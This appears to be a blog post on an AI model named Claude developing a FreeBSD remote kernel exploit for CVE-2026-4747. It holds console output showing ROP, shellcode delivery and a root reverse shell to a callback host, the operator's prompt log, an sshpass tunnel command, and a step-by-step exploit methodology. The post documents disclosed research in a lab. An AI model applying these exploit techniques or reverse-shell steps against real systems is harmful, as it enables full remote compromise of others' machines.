MAD Bugs: Claude Wrote a Full FreeBSD Remote Kernel RCE with Root Shell (CVE-2026-4747)
To our knowledge, this is the first remote kernel exploit both discovered and exploited by an AI.
Timeline:
2026-03-26: FreeBSD published an advisory for CVE-2026-4747, crediting “Nicholas Carlini using Claude, Anthropic” for a remote kernel code execution.
9:45AM PDT 2026-03-29: We asked Claude to develop an exploit.
5:00PM PDT 2026-03-29: Claude delivered a working exploit that drops a root shell.
Total time: ~8 hours wall clock. The human was AFK for much of it; Claude’s actual working time was ~4 hours.
Claude actually wrote two exploits using two different strategies. Both worked on the first try. Here’s what it looks like:
python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
==============================================================
CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE
Stack overflow → ROP → shellcode → uid 0 reverse shell
==============================================================
[*] Starting listener on 0.0.0.0:4444...
[*] Starting listener on 0.0.0.0:4444...
Target: 127.0.0.1:2049
Callback: 10.0.2.2:4444
SPN: nfs/freebsd-vuln@TEST.LOCAL
Shellcode: 432 bytes (54 qwords)
Delivery: 15 rounds (1 pmap + 14 write)
[R1/15] pmap_change_prot(BSS, 0x2000, RWX)
[+] BSS is now RWX
[R2/15] write (4 qwords → 0xffffffff8198a800) ✓
[R3/15] write (4 qwords → 0xffffffff8198a820) ✓
[R4/15] write (4 qwords → 0xffffffff8198a840) ✓
[R5/15] write (4 qwords → 0xffffffff8198a860) ✓
[R6/15] write (4 qwords → 0xffffffff8198a880) ✓
[R7/15] write (4 qwords → 0xffffffff8198a8a0) ✓
[R8/15] write (4 qwords → 0xffffffff8198a8c0) ✓
[R9/15] write (4 qwords → 0xffffffff8198a8e0) ✓
[R10/15] write (4 qwords → 0xffffffff8198a900) ✓
[R11/15] write (4 qwords → 0xffffffff8198a920) ✓
[R12/15] write (4 qwords → 0xffffffff8198a940) ✓
[R13/15] write (4 qwords → 0xffffffff8198a960) ✓
[R14/15] write (4 qwords → 0xffffffff8198a980) ✓
[R15/15] write + EXECUTE (2 qwords → 0xffffffff8198a9a0) → JUMP 0xffffffff8198a800
[*] Shellcode delivered and executing.
[*] kproc_create → kern_execve('/bin/sh -c ...')
[*] Reverse shell → 10.0.2.2:4444
[*] Waiting for reverse shell...
[+] Connection from 127.0.0.1:41320
[+] Got shell!
sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)Check out the full exploit and the write-up. Claude wrote everything itself. Here are the prompts we used (excuse the typos):
1. https://www.freebsd.org/security/advisories/FreeBSD-SA-26:08.rpcsec_gss.asc we want to setup a test env for this vulnerability using docker preferably so the docker files can be copied later for easy repro. password for this vm is x , you should setup a vulnerable version of FreeBSD the latest it mentions and then trigger the vulnerability
2. we want to use docker for this not qemu if possible.. we should still be able to connect and debug it the same i assume
3. why does it need to be QEMU and not docker for this to be a real exploit?
4. no just use QEMU then
5. okay now can you maybe generate an entire RCE exploit for this image ?
6. wait what are you compiling? arent we testing it inside of the Fbsd VM using the actual FBSD module as described in the advisory ?
7. i mean why wouldnt you just install a vulnerable version as mentioned in the advisory
8. okay contoninue to trigger this vuln.
9. what old qemu did you kill? we are using qemu in another session as well. do not kill that Linux qemu.
10. why is it running on 2222 2049 and 1111
11. okay now what about getting RCE.
12. tere is no kaslr so it should be easy
13. install ropgadget or what ever you need ... idk
14. no we dont want to reboot? we want a reverse shell as uid 0 if possible ?
15. okay in ../FBSD-001 there is a different remote exploit that gets a shell.. read it for how they constructed the connect back as uid 0 maybe
16. is the ucred write even needed if the proc is uid0 ? and why dont we get a shell ? or can we demon strait somehow a unpriv non root user that elevates to root? but we still want a shell.. as uid0
17. from a remote context aka the exploit should be executed from outside the vm
18. no just continue to get the remote version working. use gdb and hat ever tools you need.
19. you should do this step by step - for the remote version foucs on triggering then getting PC control then the rop.
20. you need to keep notes of our current status and what you have done to get here. thanks.
21. you should verify everything with gdb if you need etc.
22. 1. Pure ROP — no shellcode needed, but we're stuck on rax→rdi transfer (no gadget exists in this kernel) how are ou searching for rop gadgets?
23. why do we need kdc ?
24. nope that wont work as we cant do that from a remote exploit context without having accss to the shell
25. dont think we can prestage a /tmp/x ..
26. working means a connectback shell as uid0
27. when you get it workng i want a complete writeup of th evuln, the exploit methodology, the ropchain, the overflow, and how to install and setup a vuln target
for testing
28. i want a shell.
29. wait what do you mean increase nfs threadcount i guess we should use defaults here..
30. no just continue to get the remote version working. use gdb and hat ever tools you need.
31. make the writeup better explaining each step of the exploit and why
32. also # SSH tunnel for Kerberos KDC sshpass -p freebsd ssh -L 8888:127.0.0.1:88 -N -f -p 2222 root@127.0.0.1 is it possible to do without an ssh tunnel ?
33. can you do the forward nstead of ssh tunnel then test the exploit again
34. /tmp/final_exploit hardly looks like the final exploit ...
35. why dont you make a nicer exploit where you can supply a target and cb ip ... and do everything inline in that exploit
36. the rop / shellcode everything ..
37. the writeup feels kind of bare, explain the shellcode as if the reader has never seen FBSD001 also what do you mean the "bruteforce" version?
38. also retest and verify it works
39. update the writeup to tell how to also setup a vulnerable target using vmware for example without a KDC tunnel
40. how can i boot the qemu and test it
41. why is KDC required? and nfsd ?
42. okay you noted this stuff in the writeup?
43. do you have the prompt log ? i want to see the original prompt for this
44. can you give me back all the prompts i entered in this sessionWhat Claude Accomplished
Going from a vulnerability advisory to a working remote root shell required Claude to solve six distinct problems. It’s worth noting that FreeBSD made this easier than it would be on a modern Linux kernel: FreeBSD 14.x has no KASLR (kernel addresses are fixed and predictable) and no stack canaries for integer arrays (the overflowed buffer is int32_t[]).
Lab setup: Stand up a FreeBSD VM with NFS, Kerberos, and the vulnerable kernel module, all configured so the overflow is reachable over the network. Claude knew the VM needed 2+ CPUs because FreeBSD spawns 8 NFS threads per CPU, and the exploit kills one thread per round. This included setting up remote debugging so Claude could read kernel crash dumps.
Multi-packet delivery: The shellcode doesn’t fit in one packet. Claude devised a 15-round strategy: make kernel memory executable, then write shellcode 32 bytes at a time across 14 packets. In another exploit privately shared with us, Claude used a different strategy: writing a public key to
.ssh/authorized_keysinstead of a reverse shell, which shortened the exploit to 6 rounds.Clean thread exit: Each overflow hijacks an NFS kernel thread. Claude used kthread_exit() to terminate each thread cleanly, keeping the server alive for the next round.
Offset debugging: The initial stack offsets from disassembly were wrong. Claude sent De Bruijn patterns (a term we hadn’t heard of before reading the writeup), read the crash dumps, and corrected the offsets.
Kernel-to-userland transition: NFS threads can’t run userland programs. Claude created a new process via
kproc_create(), usedkern_execve()to replace it with/bin/sh, and cleared theP_KPROCflag so the process could transition to user mode.Hardware breakpoint bug: The child process kept crashing with a debug exception. Claude traced this to stale debug registers inherited from DDB and fixed it by clearing DR7 before forking.
Conclusion
Computers have always been able to find bugs in software. Fuzzers like AFL and syzkaller have been discovering kernel vulnerabilities for over a decade. But finding a bug and exploiting it are very different things. Exploit development requires understanding OS internals, crafting ROP chains, managing memory layouts, debugging crashes, and adapting when things go wrong. This has long been considered the frontier that only humans can cross.
Each new AI capability is usually met with “sure, but it can’t do X.” AI can do Y, but only humans can do X. For X = exploit development, that line just moved.
